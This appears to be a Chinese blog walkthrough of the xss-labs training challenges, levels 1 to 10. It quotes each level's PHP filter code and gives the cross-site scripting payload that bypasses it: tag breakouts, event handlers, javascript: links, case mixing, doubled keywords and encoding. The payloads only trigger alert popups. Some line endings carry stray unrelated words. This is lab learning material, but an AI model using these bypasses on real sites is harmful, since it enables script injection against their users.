最近在看xss,今天也就來作一下xss-labs經過挑戰。找了很久的源碼,終於被我給找到了,由於在GitHub上你們也知道那個下載速度,因此,我也就直接轉接到本身的碼雲上去了,在這也貼出來,歡迎你們下載使用。javascript
源碼連接請點擊:https://gitee.com/ruoli-s/xss-labsphp
安裝沒啥好說的,直接放進本身搭建好的www
目錄下,就能夠開始闖關了,xss-labs一共有level 20
,作着看吧。html
(其實以爲這些圖片纔是我真正想作xss challenge的最大緣由)前端
看了半天,原來參數在URL
裏放着呢,java
修改參數,頁面也隨之變更,右鍵查看源代碼,發現有跳轉到level 2 的JS
,而咱們傳入的參數是幾位的,下面就顯示payload的長度。git
OK,直接走代碼:ssh
<script>alert(/xss/)</script>
咱們直接輸入level 1 的 payload
,發現直接輸出了,這裏應該是作了實體轉義。xss
F12
查看前端代碼:函數
第一處就是顯示在頁面上的代碼,第二處是咱們輸入的代碼,這裏應該是作了轉義,咱們構造payload,使用">
嘗試閉合input
標籤:測試
"><script>alert(/xss/)</script>
單引號閉合
+htmlspecialchar()
函數來到Leval 3,咱們仍是先使用上兩關測試的payload來驗證:
發現所有被實體轉義了,咱們去看源代碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
咳咳,發現對雙引號「
作了限制,可是卻放行了單引號'
,並且竟然在value這裏也加了htmlspecialchars
函數,這種狀況咱們能夠經過事件標籤
觸發表單執行。這裏開始構造payload:
'onmouseover='alert(/xss/)
能夠看到,在提交以後,沒有馬上彈出,這裏咱們還須要將鼠標移動到文本框,讓事件觸發。
補充:
咱們仍是同樣,使用前面測試過的,先一一過一遍,固然,結果必然是失敗的,那麼接下來咱們看全端代碼:
能夠發現源代碼對>
和<
進行了過濾,咱們看源代碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
確實使用str_replace()
對尖括號
進行了過濾,並且對單引號'
作了防護,因此,咱們直接模仿上一題,使用HTML事件,構造payload:
"onmouseover="alert(/xss/)
這裏也是成功過關。
終於來到了第五關,咱們使用前面的方式都測了一遍,失敗無疑,可是發現了一些其餘東西:
貌似on
被作了手腳,咱們繼續在o
後面輸入其餘,發現只有on
被替換了,這也就意味着事件
是不能用了。
繼續嘗試發現<script>
也被進行了替換<scr_ipt>
,
到這裏相信你們都想到了,咱們試試大小寫混用:
咳咳,在線打臉哈,輸出全爲小寫,看來人家也是作了大小寫過濾了。
繼續嘗試看看可否閉合,咱們輸入'
,"
,<
,>
,\
進行嘗試,發現只有'
被實體轉義。那應該就是可使用"
來構造閉合:
好,該試的都試過了,接下來咱們試試 javascript 的僞協議
:
"><a href=javascript:alert(/xss/)>
最後,咱們也是成功的過關了,固然,仍是看一下源碼比較踏實:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
也確實如咱們猜的一致,分別對on
和<script>
進行了替換,也作了大小寫過濾
。好了,繼續下一關,歐裏給。
順利來到第6關,咱們正在徒步前行!!!
咱們直接拿上一關的payload來測試,固然,也不用想,確定是行不通的,直接來看前端代碼,哎呦我去,發現了個啥,此次連href
也給過濾了,是個狠人。
咱們也測試一下on
,<script>
等,發現被過濾的明明白白的,且單引號'
也被實體轉義,可是咱們也發現了其餘的東西,貌似沒有多慮大小寫哈?
咱們直接擼大小寫,使用雙引號">
構造閉合:
<ScRipt>alert(/xss/)</scRIpT>
這裏也是成功過關。繼續,沖沖衝!!!
來到第七關,嗯,這個圖不錯,很魔性有沒有?
廢話很少說,先來一波,有木有發現仍是挺管用的?(●'◡'●)。
發現像script
這種關鍵字被過濾了,難道是雙寫
?咱們直接使用雙引號"
閉合構造payload:
"><scrscriptipt>alert(/xss/)</scrscriptipt>
輕鬆搞定😁,下一個。
來到第八關,啥也不是。
測試payload,能夠看見前面測試過的基本都過濾了,大小寫也都卡的死死的,可是咱們發現前端代碼中直接構造好了<a>
標籤,既然這樣,咱們不妨試試編碼,看可否繞過:
這裏,筆者本身通過測試,html實體編碼和hex編碼均可以繞過,我就只放hex編碼吧,看大多數博客上都是HTML實體編碼,不熟悉的能夠本身再瞭解瞭解。
咱們能夠看到,代碼轉換機制是將script
中的ri
變成了r_i
,因此咱們只編碼r
和i
試試:
字母 | 十進制 | hex(十六進制) |
---|---|---|
r | r | r |
i | i | i |
構造payload:
javascript:alert(/xss/)
幹得漂亮,下一關。
越看這些圖片越喜歡🤭,按照慣例,咱們仍是先搗鼓一番。
我去,什麼狀況,該試的基本都試了一遍,這代碼給的是個啥?咱們輸入的payload呢??
不行,待老衲去查看源代碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情連接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的連接不合法?有沒有!">友情連接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情連接</a></center>'; } ?>
牛逼了,牛逼上天了,除了之前作過的全部過濾,居然還加了個strpos函數
,誰都不服就服你,這函數的意思是我們輸入的字符串裏面必需要有http://
字符,我,吐了呀,這誰能想的到:
想要更多瞭解strpos函數的請點這裏
看到這裏並無對編碼進行過濾,因此咱們仍是延用上題的payload:
javascript:alert('xsshttp://')
咳咳,這題,,,挺不人道的,下一個,啥也不是。
歷經千辛萬苦,終於來到了整個挑戰的一半,嗚嗚嗚。
噗噗噗,又吐了呀,全部的都試了,爲毛又跑到URL連接上去了?看代碼神馬都沒得呀,可是冒出了個表單是啥?還在頁面沒有顯示?
沒辦法,去看源碼吧,哎,心碎了💔
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
發現沒有?感情keyword
參數只是一個迷惑而已呀,真正起做用的是t_sort
參數,可是有一個問題,它的type
類型是hidden
,咱們得在前端改成text
類型,讓其顯現出來,且後臺只對<>
作了過濾,咱們能夠用事件來構造:
"onmouseover="alert(/xss/)
注意:必定要在前端修改2次
type類型,才能完成彈窗。
持續更新中·····